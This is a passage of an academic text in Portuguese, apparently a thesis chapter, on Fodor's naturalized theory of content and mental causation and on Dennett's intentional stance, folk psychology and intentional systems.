Em seu O Comportamento Verbal (1978), Skinner afirma que uma palavra em determinada língua expressa uma propriedade que a liga à extensão do objeto. A palavra "rato", por exemplo, expressa a propriedade de ser um rato. Isto se dá porque, para alguém que conheça a língua portuguesa, sua resposta verbal "ratos" está sob o controle de certos estímulos discriminativos, ou seja, está sob o controle de sua extensão, no caso, ratos. Na língua em seu uso, a resposta verbal estará sob o controle do estímulos discriminativos, dando à semântica uma efetiva relação entre símbolo e extensão. Para que isso ocorra, Skinner prevê um período de aprendizado. Seria através do reforço que o falante da língua obteria o significado das palavras. Diante de um rato, o falante seria estimulado a verbalmente responder "rato" (Fodor, 1992).

Fodor encontra, nesta teoria, as raízes de seu naturalismo. Contudo, precisa revisá-la de maneira a atingir o mental. Imagine-se a teoria semântica de Skinner desprovida de seu período de aprendizagem e de suas respostas verbais. Substitua-se a resposta verbal por uma resposta mental, ou seja, um pensamento. Temos, então, que um estado mental expressa uma determinada propriedade. Retomemos o exemplo acima, agora à maneira de Fodor. Há um estado mental que expressa a propriedade rato. Este estado está sob o controle de certos estímulos discriminativos, ou seja, está sob o controle de ratos. De fato, instanciações do estado mental estão sob o controle de instanciações da propriedade. Aqui, Fodor pôs de lado o behaviorismo, já que não há períodos de aprendizado ou reforço e tampouco respostas verbais. Com isto, Fodor não vai de encontro a crítica de Chomsky a Skinner, a qual afirma que o comportamento verbal não é uma resposta, mas sim uma ação procedente de um ato voluntário. Todavia, esta objeção não atinge à semântica de Skinner, permanecendo plausível considerá-la para além da linguagem.

Essencialmente, o que a teoria semântica de Skinner considera, com a aprovação de Fodor, é que o conteúdo determina-se através de uma relação entre símbolos e sua extensão. Um símbolo expressa uma determinada propriedade, e este fato é possível por este símbolo estar sob o controle da propriedade, que é a extensão do símbolo. Sendo que, neste caso, símbolos são estados intencionais. Este processo garante uma teoria do conteúdo, não importando levar em conta como e através de que mecanismos esta relação é mediada. Dito isto, retornemos à teoria do conteúdo e à dependência assimétrica.

Postas as condições, conclui-se que tudo que é necessário para uma relação de dependência assimétrica entre informação e conteúdo é o relacionamento entre símbolos e sua extensão. Anteriormente à disgressão pela teoria de Skinner, afirmávamos que, na linguagem, a dependência assimétrica obedecia à regras e prática lingüísticas, embora não fossem elas as responsáveis pela determinação semântica dos termos, mas sim as relações causais entre linguagem e mundo. O mesmo aplica-se ao mental. Ainda que inexistam regras onde repouse a intencionalidade, podemos considerá-la sólida por haver uma relação causal entre mente e mundo, o que garante, ao mesmo tempo, relações de dependência assimétrica. Portanto, embora seja implementada por diferentes mecanismos, a dependência assimétrica encontra na linguagem e no mental as mesmas condições para sua efetivação.

Causalidade Mental

Após investigar a formação dos estados mentais em sua teoria do conteúdo, Fodor segue em direção a outro de seus objetivos: preservar a autonomia do mental. Já esboçada no título do ensaio – Making Mind Matter More – , a busca aqui é por manter a causalidade mental, ainda que em um projeto naturalista. Antes de iniciarmos a exposição das idéias de Fodor, convém explicitarmos alguns conceitos que freqüentemente surgem ao se tratar deste tema.

  • Causalidade Mental : Os estados mentais são capazes de influenciar o comportamento humano e, conseqüentemente, o mundo.
  • Sobreveniência : Todo estado mental sobrevém, de maneira sincrônica, à uma base física interna. Segue-se algo sob a seguinte forma: Um estado mental R, no momento t, sobrevém necessariamente à uma base física S neste mesmo momento t.
  • Epifenomenalismo : O fisicalismo gera a inércia das propriedades psíquicas, não havendo, assim, causalidade mental. Similar a Irrealismo Intencional.
  • Ciência básicas : Relativo às ciências físicas, como física e química.
  • Ciências especiais : Relativo às ciências não-básicas, como a psicologia.
  • Leis estritas ou basais : Leis das ciências básicas.
  • Leis Psicológicas ou intencionais : Leis que regem o mental. Fazem parte das ciências especiais.

Dados estes conceitos, estamos prontos para investigá-los em suas inter-relações. Relações estas que, em Fodor, devem garantir o naturalismo e, ao mesmo tempo, a causalidade mental. Mas o que aconteceria se o projeto naturalista não pudesse ser unido à causalidade mental? Para Fodor, algo terrível, como afirma a seguir:

" If it isn´t literally true that my wanting is causally responsible for my reaching, and my itching is causally responsible for my scratching, and my believing is not responsible for my saying, (…), if none of that is literally true, then practically everything I believe about anything is false and it´s the end of the world " 4 ( Fodor apud Kim, 1998:32).

De fato, negar a causalidade mental é posicionar-se de maneira contra-intuitiva, o que não significa que, na sua inexistência, a humanidade iria comportar-se de maneira alterada. Grande parte de nossas intuições, de nossa maneira de interpretar o mundo, foram já derrocadas pela ciência, o que terminou por gerar uma diferenciação entre a imagem científica do mundo e a imagem compartilhada pelo senso comum. Não obstante, a existência de uma interpretação contra-intuitiva da realidade não atingiu o homem em seu cotidiano. Caso fosse a causalidade mental, em uma outra imagem, causalidade física, é provável que o mesmo se daria. Porém, Fodor não só crê na folk psychology ,a psicologia do senso comum, como a considera o maior passo intelectual dado pela humanidade. Negá-la seria um retrocesso, ou o fim do mundo. Esta é a convicção inseparável do obra de Fodor, o que não é o bastante; ele precisa e busca condições suficientes para que o mental tenha influencia sobre mundo.

Neste caso, condições suficientes significa garantir que estando em um estado mental determinado –desejo de levantar o braço, por exemplo- algo daí possa ocorrer. Fossem as condições necessárias, algo teria de ocorrer, não havendo o caráter de possibilidade. Buscando tais condições suficientes, Fodor afirma a existência de leis psicológicas causais. Segue-se que uma propriedade intencional é causalmente responsável se for projetada por leis causais. Portanto, um evento mental deve ser subsumido por uma lei causal, podendo, assim, ter influência no mundo. Nas palavras de Fodor: " P is a causally responsible property if it´s projected by a causal law " 5 ( Fodor, 1992:143).

Seguindo esta proposta de Fodor, meu desejo de levantar o braço, por exemplo, poderá fazer-me levantá-lo, afinal este desejo é a aplicação, está subsumido por uma lei causal intencional. Com efeito, a existência da causalidade mental termina por resumir-se à existência de leis causais psicológicas. Para Fodor, tanto as leis básicas quanto as psicológicas são casualmente responsáveis, embora algo difira entre elas. Ao tratar de leis básicas, não é necessário que se investigue as suas aplicações, ou seja, a maneira através da qual um evento termina por causar outro. Porém, quando lidamos com leis psicológicas, algo precisa ser dito sobre o processo que leva um evento mental a causar um físico.

Aqui, Fodor reafirma seu funcionalismo, definindo os processos mentais como sendo processos sintáticos. Todavia, disto não se segue que sejam igualmente sintáticas as leis psicológicas; estas são intencionais. São sintáticos os mecanismos através do qual estas leis são implementadas. Inserindo isto na projeto de causalidade mental, temos que processos mentais sintáticos implementam leis psicológicas, intencionais, que, quando aplicadas, poderão causar uma resposta comportamental.

Muitos, como Stephen Stich (1994), consideraram a proposta de Fodor como sendo mais um caminho que desembocaria no epifenomenalismo. Haveria um conflito entre a afirmação de que os processos mentais são sintáticos e a de que há leis intencionais causais. Estas duas propostas não poderiam coincidir. Ou processes mentais sintáticos, o que geraria a inércia do mental, ou leis intencionais causais. Para Fodor, este conflito é ilusório, como afirma a seguir:

" It´s a confusion to suppose that, if there´s a law, then there needn´t be an implementing mechanism; and it´s a confusion to suppose that if there´s a mechanism that implements a law, then the properties that the law project are causally inert. If you take great care to avoid both these confusions, you will be delighted to see how rapidly epiphobia disappears " 6 ( Fodor, 1992:146).

Temos, por fim, leis intencionais causais, requisito para a causalidade mental, e um processo de implementação destas leis. Resta-nos saber por que a causalidade mental requer leis intencionais causais. Caso não houvessem tais leis, o que ocorreria com a causalidade mental? Ao responder esta questão, percorreremos outras teorias que, como a de Fodor, se propõem a preservar a autonomia mental, porém, com uma diferença básica: a inexistência de leis psicológicas.

Nesta linha, a mais famosa proposta é de autoria de Davidson, com seu "monismo anômalo". Aqui, há, como em Fodor, causalidade mental, sendo o âmbito mental sobreveniente ao físico. Todavia, não há leis próprias do mental, ou leis psicológicas. Resta, para o mental, ser coberto por leis físicas, estritas. Com efeito, a causalidade mental é possível se instanciada por leis estritas. Se em Fodor meu desejo de levantar o braço possui força causal devido à leis psicológicas, em Davidson isto deve-se à existência de leis estritas que regem o mental. O problema que daqui decorre é facilmente visualizável. Se não existem leis particulares para o mental, se tudo que há são leis que regem o físico, parece ser possível eliminar o mental sem que nada seja alterado na relação homem-mundo (Kim, 1998). Variemos o exemplo, imaginando, desta vez, alguém que deseja tomar um copo de vinho. Se não há leis próprias do mental, este em nada contribui para a realização do desejo. Elimine-se, então, o mental. Ainda assim o desejo pode influenciar o mundo, afinal, são as leis físicas que possuem poderes causais e, mesmo sem qualquer evento mental, elas continuam a ser instanciadas. Em Fodor, esta hipótese não é válida. Se há leis próprias do mental, e se são elas as responsáveis pela influência do homem no mundo, a eliminação do mental acarretaria também na eliminação desta influência. Em Davidson, permanece a causalidade, mas a física, não a mental.

Esta crítica atinge não a Davidson isoladamente, mas a inúmeras teorias fisicalistas que afirmam ser a causalidade mental regida por leis físicas. Jaegwon Kim (1998) afirma que até mesmo a tese da sobreveniência, explicitada acima e base para grande parte das teorias mente-corpo, apresenta problemas relacionados à causalidade mental. Segundo a tese da sobreveniência, todo estado mental sobrevém à uma base física, o que dá a esta base o caráter de determinação. Mesmo um estado mental aparentemente gerado por outro, anterior a ele, seria, na verdade, resultado de uma nova base física . Exemplifiquemos. Disputando uma partida de futebol, certo jogador é atingido no joelho. Sua dor é intensa. Ao levantar-se, sente-se tomado por um intenso desejo de vingança . Temos, aqui, um primeiro estado: o de dor. O segundo estado, o desejo de revidar a agressão, é subseqüente e tem, aparentemente, o primeiro como base. Só que, para Kim, não há uma relação entre um evento mental e outro, mas sim dois eventos mentais com diferentes bases físicas. A dor teria uma base física e o desejo de vingança outra, sendo estes estados independentes. Isto se dá porque, para Kim, é inaceitável que se recorra a uma propriedade não física como forma de explicitar a existência de um evento mental. Seguindo esta linha de argumentação temos, mais uma vez, uma forma de epifenomenalismo. Se não há relações entre os eventos mentais, se cada evento mental é gerado e regido por leis físicas, retire-se o mental e nada no mundo será alterado.

Para Fodor, o problema não está na relação de sobreveniência, como afirma Kim. É a inexistência de leis psicológicas que acarreta a inércia do mental, conforme assegura abaixo:

" There must be laws about such things, including, in particular, laws that relate beliefs and desires to another and to actions. If there no intentional laws, then there is no intentional science " 7 ( Fodor, 1992:).

Portanto, as leis psicológicas cobrem não apenas a relação mente-mundo, como também a existente entre estados mentais. Seguindo Fodor, o exemplo dado acima seria destituído de problemas, já que a dor seria causalmente responsável um novo estado mental.

Sobre as leis psicológicas, resta-nos dizer que são leis ceteris paribus, ou seja, sustentam-se quando tudo o mais é igual. Portanto, algo da seguinte forma pode ser afirmado: A causa B, ceteris paribus, é uma lei. A condição ceteris paribus vale não só para estados intencionais, mas para qualquer ciência especial. Com isso, Fodor encerra sua explanação alcançando seu objetivo: uma teoria que garanta a causalidade mental.

Conclusão – Capítulo I

Após analisarmos os ensaios que compõem a primeira parte de A Theory of Content and Other Essays , temos que Fodor dá por alcançado seus dois objetivos: construir uma teoria da representação naturalista, que lide com o problema da disjunção, e outra, também naturalista, capaz de preservar a causalidade mental.

Ao tratar da formação das representações mentais, em sua teoria do conteúdo, Fodor vale-se de relações mente-mundo, sendo estas determinantes do conteúdo da representação. Como vimos, tal se dá através de uma divisão entre informação e significado. Estados mentais podem carregar informações diferentes mas possuírem o mesmo significado. Por exemplo, ao ver-se um gato no escuro e tomá-lo por um coelho, tem-se uma informação ´gato´, porém, o significado é ´coelho´, já que este foi o representado mentalmente. A informação possui um aspecto histórico causal, direciona-se, de fato, ao causador do processo representacional. Já o conteúdo dirigi-se unicamente à representação em si. A relação entre ambos é de dependência assimétrica.

Em busca de seu outro objetivo, a preservação da causalidade mental, Fodor estabelece leis próprias do psicológico, ou leis causais psicológicas. Para tanto, precisa de um processo de implementação destas leis, que ele afirmará ser computacional e sintático, mantendo-se funcionalista. Note-se que sintático é apenas o processo de implementação das leis, sendo elas próprias intencionais. Todavia, como afirmamos ao início deste texto, o funcionalismo computacional requer propriedades mentais internas. São estas propriedades que instanciarão os inputs que terão como resposta novos estados mentais e respostas comportamentais. Parece excluir-se, aqui, qualquer relação mente-mundo como base para representações. Estas se dariam graças à propriedades puramente internas. Fodor, porém, como vimos no parágrafo acima, passa a defender, com sua teoria do conteúdo, que as representações mentais são produto de uma relação mente-mundo, de uma relação entre informação e significado. Como unir esta postura informacional com uma outra funcionalista computacional, que lida unicamente com propriedades internas? Em The Elm and The Expert (1994), Fodor lidará com o problema. Aqui, por fugir ao escopo deste trabalho, não abordaremos esta obra, mas sua conclusão é de que existe, de fato, uma possibilidade de unir funcionalismo computacional com uma posição informacional, desde que não haja condições suficientes para a instanciação de propriedades intencionais.

O objetivo central de Fodor é a naturalização da intencionalidade, e é tendo este marco em vista que mantém seu funcionalismo computacional e, ao mesmo tempo, constrói uma teoria da representação que relacione mente-mundo. Ambas encaixam-se em um projeto naturalista, o que para Fodor é, como a causalidade mental, o alicerce de qualquer filosofia que se proponha a investigar a mente. Ou seja, ou naturalização e causalidade mental, ou nada.

Capítulo II

Dennett: Postura Intencional e Evolucionismo

Após uma passagem pela obra de Fodor, convém expor o que propõe Daniel Dennett, filósofo a ele ao mesmo tempo próximo e distante. Como vimos, este é um nome constantemente presente na obra de Fodor, sendo o contrário também verdadeiro. A relação, aqui, é de adversários, defendendo posições, em muitos aspectos, opostas e não-conciliáveis. Ainda assim, ambos partem do mesmo ponto, o problema de Brentano, e têm na naturalização da intencionalidade um objetivo comum. Os caminhos, porém, são distintos, e, à medida que avancemos na obra de Dennett, ficarão claros os pontos de concordância e discordância com Fodor.

Aqui, a obra de Dennett a ser analisada será The Intentional Stance (1987). Como Theory Of Content (1992), de Fodor, Intentional Stance é uma coletânea de ensaios escritos em épocas diversas, e, muitas vezes, seguidos de reflexões elaboradas para a publicação desta obra. São, ao todo, dez ensaios, sendo oito deles previamente publicados e aqui acrescidos com um comentário posterior. Os dois restantes são inéditos e marcam uma renovação no pensamento de Dennett, o início de uma linha de pesquisa que é seguida até os dias atuais, uma união entre sua filosofia anterior e bases evolucionistas. Tendo em vista o ponto central deste trabalho, a naturalização da intencionalidade, trataremos de seis ensaios: True Believers ; Three Kinds Of Intentional Psychology ; Beyond Belief ; Intentional Systems in Cognitive Psychology : The "Panglossian Paradigm" Defended ; Evolution, Error and Intentionality e Mid Term-Examination : Compare and Contrast .

Faça-se notar que, ao contrário de Fodor, Dennett não tematiza, nesta obra, a naturalização da intencionalidade. Seu naturalismo permanece nas entrelinhas, como uma hipótese que será a base de sua teoria intencional. A Intentional Stance , que traduziremos por "postura intencional", é o outro porto seguro e alicerce de Dennett, percorrendo toda a sua obra, dos momentos em que se volta para a filosofia da linguagem aos que mergulha nas ciências cognitivas.

Todavia, antes de uma explicitação da postura intencional, é necessário situá-la na tradição da filosofia da mente e da linguagem. Adotando tal procedimento, começaremos, na verdade, pelo fim. Em Intencional Stance , o último dos ensaios, intitulado Mid Term-Examination : Compare and Contrast é dedicado a tarefa de localizar a obra de Dennett em uma tradição da filosofia. Neste início, tentaremos perseguir este mesmo objetivo.

Para tanto, precisamos nos remeter, mais especificamente, a W.V.O Quine, que abriu as portas para um estudo da mente nos moldes do que realiza Dennett. Quine, a princípio, respondeu ao problema de Brentano de forma eliminativista: uma ciência do intencional seria vazia, sem bases. Não haveria uma tradução possível do idioma intencional para a linguagem das ciências físicas (Dennett, 1987). Brentano concordaria com esta impossibilidade, afinal, buscava o intencional de forma dualista, sem bases físicas. Quine, ao alegar a irredutibilidade, indica o caminho oposto; não há bases seguras para se lidar com a intencionalidade.

O próprio Quine, porém, em Palavra e Objeto (1960), adota uma postura menos extrema, pragmatista, considerando o idioma intencional como um instrumento necessário, quase indispensável, na relação do homem com o mundo. Não haveria, rigorosamente falando, fenômenos intencionais, como crenças e desejos, mas seu uso cumpriria um papel próprio dentro da linguagem. De fato, a utilização de um vocabulário intencional está inserido na relação do indivíduo com o mundo e com outros indivíduos, sendo uma necessidade prática, um instrumento apropriado para que se atinja determinados fins. Para uma aproximação do mental, o uso mais pertinente do idioma intencional está em sua capacidade de supor os estados intencionais em terceira pessoa, de outro indivíduo. Temos, que, dadas certas circunstâncias, um indivíduo, ou entidade qualquer, deve ter tais crenças e desejos, i.e, supomos crenças e desejos que, em determinado caso, o organismo deve ter. Denomina-se este uso de princípio normativo. Em uma variação desta postura, um indivíduo, ao buscar uma interpretação, suposição, para os estados intencionais de outro organismo, imagina que crenças e desejos ele próprio teria na circunstância dada, ou seja, "põe-se" no lugar deste organismo. Esta postura é denominada princípio projetivo. Em ambas, dá-se um jogo de interpretação. Em Quine, a necessidade é deste jogo, e não da intencionalidade em si mesma.

Veremos que, em Dennett, a postura intencional é similar ao proposto por Quine, é também uma forma de jogo. Com efeito, este posicionamento pragmático é base de toda a linha dita "não-realista" da filosofia da linguagem e da mente, embora Dennett rejeite esta classificação, como veremos. Incluem-se, aqui, filósofos como Davidson, Rorty e, em certos momentos, Putnam. Em contrapartida, jamais Fodor deixou-se seduzir por esta forma de pragmatismo, permanecendo um realista, considerando a existência de crenças, desejos e suas conseqüências no mundo. Tem-se, portanto, que o modo de se lidar com os estados intencionais, é, em última instância, a linha fronteiriça entre realismo e não-realismo, como resume Dennett:

" Just about everyone accepts the Brentano irreducibility thesis, but if one accepts it primarily for Quine´s reasons, one will not be inclined to be a (strict) realist about attributions of propositional attitude, and hence will not be inclined to be a realist about psychological content " 8 ( Dennett, 1987:345).

Reconstruídas as bases que percorrem a obra de Dennett, iniciemos a análise de seu Intentional Stance, partindo do conceito de postura intencional, suas conseqüências e objeções, buscando atingir o aspecto evolucionista das idéias de Dennett, o que acarretará em uma distinção entre intencionalidade original e derivada.

A Postura Intencional

De forma direta e resumida, a postura intencional é uma forma de predizer o comportamento de entidades, tratando-as, para tanto, como agentes racionais e possuidores de crenças e desejos. Entidades, aqui, podem ser artefatos, animais, pessoas e mais uma gama de coisas que, dependendo do contexto e do interesse de quem adota a postura intencional, podem ser antropomorfizadas (Dennett, 1997). Se busco, por exemplo, prever o comportamento de meu cachorro diante de um estranho, afirmo que ele gosta ou não gosta de determinada pessoa, que possui "crenças" e "desejos" acerca dela; o tomo como dotado de racionalidade, lhe suponho estados intencionais. Note-se que, como no proposto por Quine, esta postura é uma forma de se relacionar com o mundo, útil e recorrente na vida cotidiana, adotada em busca de um determinado fim.

Todavia, há, além da postura intencional, outras formas de se predizer o comportamento de determinadas entidades, como a postura física e a postura de planejamento . Na primeira, prediz-se o comportamento do objeto em vista através de um prévio conhecimento de sua constituição física e das leis da física que o regem. Exemplificando: se busco uma explicação de por que a água congela-se, valerei-me da física para explicar o fenômeno; se quero prever o comportamento de uma pedra lançada ao ar, o farei lançando mão da lei da gravidade. Nestes casos, não é prático a atribuição de crenças e desejos. Já há uma explicação adequada e precisa para estes fenômenos. Segundo Dennett, a postura física é a única maneira de se predizer o comportamento do que é inanimado e não é artefato. Para muitos, é esta postura que deve reger o estudo da mente; deveria-se partir de uma compreensão física do organismo para, em seguida, predizer seus atos.

A terceira estratégia citada, a de planejamento, é, assim como a intencional, de uso cotidiano e contínuo. Trata-se, aqui, da capacidade que possuímos de lidar com determinados artefatos ainda que desconheçamos suas propriedades físicas. Supomos que o objeto foi projetado de determinada maneira e assim predizemos seu comportamento. Após uma certa com aparelhos eletrônicos, por exemplo, deixa de ser necessário o uso de manuais, ainda que nos deparemos com um sistema jamais visto. Seguindo uma série de observações, tentativas, chega-se a conclusão que determinado botão liga o aparelho, enquanto outro é responsável por seu volume. Na postura de planejamento, supõe-se que o artefato foi projetado de determinada maneira e que, realizando certa ação, ele funcionará corretamente. Não obstante, é uma estratégia mais arriscada que a física, lidando com uma margem de erro. Um despertador pode não tocar, embora eu o tenha programado de forma adequada, assim como um software pode não abrir, embora instalado de forma correta. Dennett estende, ainda, o uso da postura de planejamento a objetos biológicos, como corações, pulmões, que, embora não sejam artefatos, possuem um proceder passível de ser predito ainda que se ignore determinados detalhes técnicos.

Claramente, a postura intencional revela-se mais arriscada que a de planejamento, já que procede com suposições fictícias, tomando objetos em geral como providos de intencionalidade. Seu uso surge quando o sistema é demasiadamente complexo para ter seus atos preditos pelas duas posturas anteriores. É o caso de outros animais, de certos artefatos e de seres humanos. A postura intencional, em relação a homens, é uma forma de acessar, ainda que de forma hipotética, a mente de outrem, imaginando seus estados intencionais em determinado contexto e , assim, tornando possível predizer seu atos no momento. Neste processo, certas regras fazem-se notar. Quando busca-se acesso às crenças e desejos de determinado sistema, supõe-se que ele deve ter determinados estados intencionais, considerando-se o contexto, a estrutura do sistema e sua biografia. Seus atos, por conseguinte, são os que seriam racionais em um sistema dotado de tais crenças e desejos, em dado contexto. Em artefatos, o procedimento é o mesmo: em uma situação x, o objeto deve possuir tais crenças e desejos e, conseqüentemente, deve proceder de tal maneira. Aqui, o exemplo mais querido a Dennett remete a uma partida de xadrez entre homem e máquina. Ao disputar com um computador, o homem, adotando a postura intencional, deve considerá-lo como um agente racional desejando , como ele, vencer e, também como ele, sabendo as regras do jogo. Isto elimina as possibilidades de, em determinado momento, a máquina realizar uma jogada bisonha. Ela quer vencer. O homem deve, por isso, restringir as possibilidades de jogadas as que condizem como este desejo, ou seja, a máquina fará o melhor movimento. Funciona. Isto acontece, segundo Dennett, por ser o computador um sistema intencional. Sistemas intencionais são, portanto, todos os que tem o comportamento passível de ser predito adotando-se a postura intencional (Dennett, 1997).

Ao considerar as crenças e desejos que um sistema deve ter , em dada situação, Dennett já aproxima-se de uma postura evolucionista, que, mais tarde, será predominante em sua obra. Uma das pilastras para o funcionamento da postura intencional está na consideração de que as crenças do sistema são naturalmente verdadeiras, considerando-se o contexto em que está posto. Crença verdadeira, aqui, refere-se ao estado normal de um sistema, realizando o que lhe é natural em sua relação com o ambiente. Encontramos em Davidson (1986), a afirmação de que "as crenças de um sistema são por natureza geralmente verdadeiras", frase que está em perfeita sintonia com o proposto por Dennett. Também Rorty (1997) partilha desta posição, tomando crenças como adaptações de um sistema ao seu ambiente e não representações da realidade. Um sistema tende a ter crenças verdadeiras porque busca lidar com a natureza de forma que lhe seja favorável, lhe traga vantagens, contribua à sua sobrevivência. Ao supor-se que um organismo ou artefato possui determinada crença, visa-se aspectos que lhe seriam vantajosos. Este predizer funciona por serem os estados intencionais naturalmente verdadeiros, ou normais em um determinado contexto. A falsidade de uma crença passa a ser uma anormalidade na relação entre um sistema intencional e o mundo, algo que escapa à ordem natural das coisas. É uma postura que, visa, por fim, as funções do sistema, realizando o que lhe foi designado. Ao tratarmos do problema da disjunção, apresentamos esta teoria como sendo teleológica . Mais a frente, retornaremos a este mesmo problema e a esta mesma teoria de forma mais abrangente.

– Postura Intencional como Forma de Instrumentalismo

A objeção mais clara à postura intencional afirma que há de haver abismos de diferenças entre artefatos, animais e seres humanos. Para um realista, como Fodor, nós possuímos, de fato, crenças e desejos; são eventos internos indiscutivelmente presentes. O mesmo não pode ser dito de artefatos, que possuem, como definiu Searle (1983), intencionalidade como se , i.e, os supomos como possuidores de intencionalidade por uma necessidade pragmática, mas os homens apenas possuem estados intencionais como crenças e desejos. Dennett, todavia, considera esta distinção mística, atribuindo aos seres humanos algo dele próprio, não encontrado em nenhum outro lugar da natureza. Para ele, a princípio, todos os sistemas intencionais possuem crenças, sendo crença nada mais que um estado passível de ser predito pela postura intencional. Crença, portanto, toma um significado diverso do adotado por Fodor, realistas em geral e pela psicologia popular; deixa de ser um privilégio humano.

Até aqui, temos uma consideração claramente instrumentalista, anti-realista, dos estados intencionais: eles não existem de fato, são apenas considerados tendo em vista determinado fim. Contudo, Dennett considera a necessidade de estados internos, o que adiciona um novo elemento à sua posição. Isto não significa que sua noção de estados internos seja idêntica a de um realista, ao contrário, ela reafirma uma forma de anti-realismo. Considere-se um termostato. Tal artefato pode ser designado a adequar a temperatura de um determinado recinto. Para tanto, ele possui uma determinada estrutura interna que o torna capaz de distinguir o quente do frio. Caso enriqueça-se o artefato, dotando-o de um aparelho visual e auditivo, sua estrutura interna será alterada, acompanhada por sua representação do mundo. O termostato poderá, agora, identificar a temperatura do recinto até mesmo pelas vestimentas ou conversas de quem nele se faz presente. Pode-se dizer, portanto, que, devido a uma alteração na estrutura interna do artefato, ele possui agora novas crenças, representações sobre o mundo. Para Dennett, estados internos não são algo de místico e misterioso, são, na verdade, estados estruturais de um sistema, determinando sua representação do mundo e seu comportamento. Mais complexo sejam estas estruturas internas, mais complexo o sistema. Reside aí a distinção entre artefatos, animais e homens: são sistemas com diferentes graus de complexidade interna, como afirma Dennett:

" There is no magic moment in the transition from a simple thermostat to a system that really has an internal representation of the world around it. The thermostat has a minimally demanding representation of the world, fancier robots have more demanding representations of the world. Finally you reach us " 9 ( Dennett, 1987:32).

Temos, enfim, graus de complexidade entre os sistemas, e não um sistema com algo a mais que todos os outros. Mais a frente, retomaremos a discussão entre realismo e anti-realismo, tema recorrente na obra de Dennett. Adiantando minimamente o que está por vir, a distinção final entre ambos só será feita a partir de uma forma de evolucionismo, o que acarretará em uma divisão entre intencionalidade original e derivada, estabelecendo uma fronteira a mais no âmbito da filosofia da mente. Antes, porém, analisaremos as relações entre a chamada "psicologia popular" e a postura intencional.

– Psicologia Popular e Sistemas Intencionais

Por psicologia popular, entende Dennett uma maneira de se relacionar com o mundo, de obter do mundo determinados fins. É uma forma de compreender determinados comportamentos, de prever atos variados. Ao buscar-se, através da psicologia popular, resposta para o funcionamento de determinados sistemas, tem-se como resultado uma resposta conceitual . Privilegia-se a ação do sistema no mundo, remetendo o olhar para seu comportamento cotidiano, prático. Pode-se visualizar este processo elaborando a seguinte pergunta: o que todos os imãs têm em comum? Resposta conceitual: todos atraem ferro. (Dennett, 1997). Trata-se da maneira que percebemos o sistema agir diariamente, por observação e hábito. A resposta conceitual é, portanto, própria da psicologia popular. Em contrapartida, pode-se responder à mesma questão acerca do imã de forma reducionista: todos os imãs possuem uma determinada propriedade física, senda esta a responsável pela atração do ferro. Esta forma de lidar com perguntas desta natureza foi denominada por Fodor (1975), e seguida por Dennett, como resposta causal . A direção tomada é em busca das causas do evento, e não de seu agir.

No estudo da mente, tal distinção revela duas posturas opostas: a compreensão da consciência, intencionalidade, através de suas ações no mundo e a pesquisa engendrada de forma reducionista, investigando a consciência em seus processos físicos. Dennett, claramente, caminha adotando a primeira postura, embora considere a possibilidade de que ambas se complementem. A psicologia popular, em muitos casos, funciona, podendo ser o primeiro passo para uma compreensão reducionista. Com efeito, como sugere Dennett, deve-se, primeiramente, voltar-se para o comportamento cotidiano do que se busca compreender. Após uma investigação desta natureza, torna-se mais claro o objeto de pesquisa e, a partir daí, pode-se lidar seriamente com a possibilidade ou não do reducionismo. Esta metodologia norteará a obra de Dennett em todos os seus momentos: das ações do sistema para suas propriedades internas, jamais o contrário. Cientistas cognitivos, como Francis Crick (1995), e filósofos a eles ligados, como Paul e Patricia Churchland (1995), tendem a considerar esta estratégia tempo perdido. Se, ao final, teremos que adotar uma redução, melhor é iniciar desde já, como afirma Crick : " Por que não olhar para dentro da caixa negra e observar como seus componentes de comportam? Não é sensato procurar resolver um problema difícil com uma mão atada atrás das costas " (Crick, 1995:36).

Dennett, pragmaticamente, apega-se a aspectos sociais que, cotidianamente, funcionam, e acredita estar aí o início de uma compreensão dos estados mentais. Daí considerar a psicologia popular como base de pesquisa. No relacionamento dos homens com o mundo ela funciona, devendo, por isso, ser um alicerce da ciência. Como vimos, psicologia popular, para Dennett, é um método de interpretação, de lidar com cotidiano, um instrumento a serviço da predição de atos de vários sistemas. Por conseguinte, o conjunto de crenças e desejos atribuídos aos sistemas não são eventos internos, presentes e atuando de forma causal; são formas de adaptação ao mundo. Utilizando uma terminologia cunhada por Reichenbach (1938), Dennett denominará esta concepção da psicologia popular de abstrata .

Em contraste com esta visão, alguns, como Fodor, tomam crenças, desejos, pensamentos, como eventos internos reais, presentes e atuantes. A psicologia popular, aqui, deixa de ser um instrumento e torna-se agente causador das ações do indivíduo no mundo. A este posicionamento, ainda seguindo Reichenbach, dá-se o nome de illata . Dennett, embora ponha-se invariavelmente no campo da abstracta, diante desta colisão, termina por considerar que a psicologia popular ordinária, aceita pelo senso comum, está entre ambas as posturas, sem assumir uma ou outra, como afirma em Intentional Stance :

" But in any case there is no doubt that folk psychology is a mixed bag, like folk productions generally, and there is no reason in the end that it is much more complex, variegated (and in the danger of incoherence) that my sketch has made it out to be. The ordinary notion of belief no doubt does place beliefs somewhere between being illata and being abstracta 10 " ( Dennett, 1987:55).

De fato, é próprio do senso comum tomar crenças e desejos como possuindo, de fato, poderes causais, assim como é próprio de Fodor. Todavia, é também corrente o uso de tais estados mentais de forma instrumental, afirmando-se que, em determinado momento, tal indivíduo deve agir de uma maneira qualquer. A distinção estabelecida por Dennett é metodológica. Ele busca na psicologia popular a base de sua teoria intencional, evitando, por isso, uma total comunhão com o senso comum e suas premissas contraditórias. Por fim, a divisa entre uma psicologia popular tomada de forma abstracta e illata visa proceder uma investigação de duas teorias que daí se seguem. Da postura abstracta surge uma teoria dos sistemas intencionais, concebida de forma instrumental, holística. Do lado illata é construída uma teoria reducionista, que busca o modo de implementação dos sistemas intencionais, batizada por Dennett de psicologia cognitiva sub-pessoal. Caminhemos, brevemente, por ambas.

a) Teoria dos Sistemas Intencionais – Nesta teoria, os aspectos internos de implementação dos estados mentais permanecem velados, são tratados como caixas pretas (Dennett, 1997). Ignora-se, propositalmente, os processos realizados seja no cérebro, seja no hardware de uma máquina. Não há o reducionismo de uma propriedade macro a uma micro.O objeto de pesquisa passa a ser o sistema em seu todo, observado em sua atuação no mundo. Crenças e desejos, aqui, são meros instrumentos, possuindo um papel na predição do comportamento de sistemas. É inevitável, porém, o surgimento de perguntas em relação ao porquê destes sistemas agirem de determinada forma Uma resposta seguindo este caminho é o papel de uma psicologia cognitiva.

